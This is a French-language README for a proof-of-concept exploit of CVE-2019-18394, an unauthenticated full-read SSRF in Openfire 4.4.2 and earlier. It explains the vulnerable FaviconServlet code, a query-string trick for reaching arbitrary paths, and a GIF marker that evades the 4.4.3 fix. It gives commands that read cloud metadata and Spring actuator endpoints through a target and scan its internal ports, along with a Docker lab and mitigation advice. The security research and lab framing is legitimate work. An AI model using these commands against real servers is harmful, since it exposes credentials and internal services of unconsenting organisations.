
PoC pour CVE-2019-18394 : SSRF en lecture complète non authentifiée dans Openfire <= 4.4.2 FaviconServlet
Server-Side Request Forgery non authentifiée dans Ignite Realtime Openfire 4.4.2 et versions antérieures (console d'administration, TCP 9090/9091 par défaut). Corrigée dans la 4.4.3 (ticket OF-1885).
host est concaténé dans une URL sortante sans
validation, de sorte que le serveur émet un HTTP GET choisi par l'attaquant./getFavicon n'est pas protégé par le AuthCheckFilter de la
console d'administration et répond même lorsque le serveur est encore dans son état de
configuration initiale non configuré.Tests autorisés uniquement. Tout ce qui suit cible un labo local que vous montez vous-même.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2) :
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
Non authentifiée. Dans xmppserver/src/main/webapp/WEB-INF/web.xml, le filtre AuthCheck
n'est mappé que sur *.jsp, PluginServlet et dwr-invoker. FaviconServlet est mappé sur le
chemin simple /getFavicon, donc aucun filtre d'authentification ne s'exécute pour lui.
Chemin arbitraire, pas seulement hôte arbitraire. Le code code en dur le suffixe
/favicon.ico. Terminer host par une chaîne de requête repousse ce suffixe dans une valeur de
paramètre :
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
Le schéma est fixé à http://. Les cibles https:// ne sont pas directement joignables, mais
le client de la servlet utilise LaxRedirectStrategy, donc un point de terminaison http qui
redirige en 302 vers la suite l'est.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() est ImageIO.read(bytes) != null, une vérification de contenu, pas une
vérification de destination. Deux choses survivent au correctif :
/images/server_16x16.gif n'est pas utilisé comme référence :
un serveur qui a échoué à le charger à l'initialisation renvoie à la place un corps d'échec vide,
et la non-concordance des deux donne des résultats erronés.200 tandis qu'un chemin frère non
mappé répond 404, ce qui distingue un vrai mapping FaviconServlet d'un catch-all.FaviconServlet met en cache les succès et les échecs en se basant sur le host brut et
court-circuite après deux échecs. L'outil ajoute un anti-cache unique cb= à chaque sonde afin
que les exécutions répétées ne reçoivent pas de résultats obsolètes.Bibliothèque standard Python 3, aucune dépendance.
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
Options : --callback-host (adresse vers laquelle la cible rappelle), --listen-bind /
--listen-port (écouteur local), --marker-format gif (renvoie un contenu analysable comme image
qui passe le filtre isImage() de la 4.4.3), --proxy, --json.
Codes de sortie : 0 ok, 1 découverte, 2 erreur ou non vulnérable, 3 non concluant.
Configuration Docker différentielle : 4.4.2 vulnérable (console sur :9090), 4.4.3 corrigée (sur
:9092), et un service interne uniquement que l'hôte ne peut pas atteindre directement.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
Le nginx interne n'a pas de mappage de port hôte, donc une requête directe depuis l'hôte renvoie
HTTP 000, mais Openfire peut l'atteindre. La lecture de son SECRET_FLAG prouve que la requête a
franchi la frontière de confiance. Sur Docker Desktop, la cible atteint votre écouteur via
host.docker.internal (passez-le à --callback-host). Sur Docker Linux natif, utilisez l'IP de
passerelle docker0 ou omettez --callback-host pour l'autodétection.
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
Chaque callback est arrivé avec User-Agent: Apache-HttpClient/... (Java/...), confirmant que la
requête provenait du propre client HTTP d'Openfire, et non de l'outil.
Note : le résultat gif confirme la SSRF en lecture complète mais ne distingue pas la 4.4.2 de la 4.4.3, puisque la divulgation sous forme d'image fonctionne sur les deux. Utilisez le marqueur texte par défaut pour distinguer l'avant-correctif de l'après-correctif.
read : la 4.4.2 a divulgué le SECRET_FLAG interne ; la 4.4.3 a retenu la page HTML mais a
toujours renvoyé un .gif interne récupéré via l'astuce de chemin.
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
Mettez à niveau vers Openfire 4.4.3 ou une version ultérieure. Le correctif isImage() n'arrête pas
la requête sortante ni la divulgation sous forme d'image, donc lorsque la fonctionnalité de proxy de
favicon n'est pas nécessaire, restreignez également les sorties réseau depuis l'hôte Openfire et
placez la console d'administration (9090/9091) derrière des contrôles réseau.
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
check écrit un enregistrement de preuve JSON lorsqu'on lui passe --json <file>.
| Cible | Marqueur | Callback | Corps divulgué | Verdict | Sortie |
|---|
| 4.4.2 (vuln) | text | oui | oui, verbatim | VULNERABLE (non corrigée) | 1 |
| 4.4.3 (corrigée) | text | oui | non, retenu par isImage() | PARTIALLY_MITIGATED (SSRF aveugle) | 1 |
| 4.4.3 (corrigée) | gif | oui | oui, image + texte de fin | VULNERABLE lecture complète (voir note) | 1 |
| non-Openfire (nginx) | n/a | n/a | n/a | point de terminaison absent | 2 |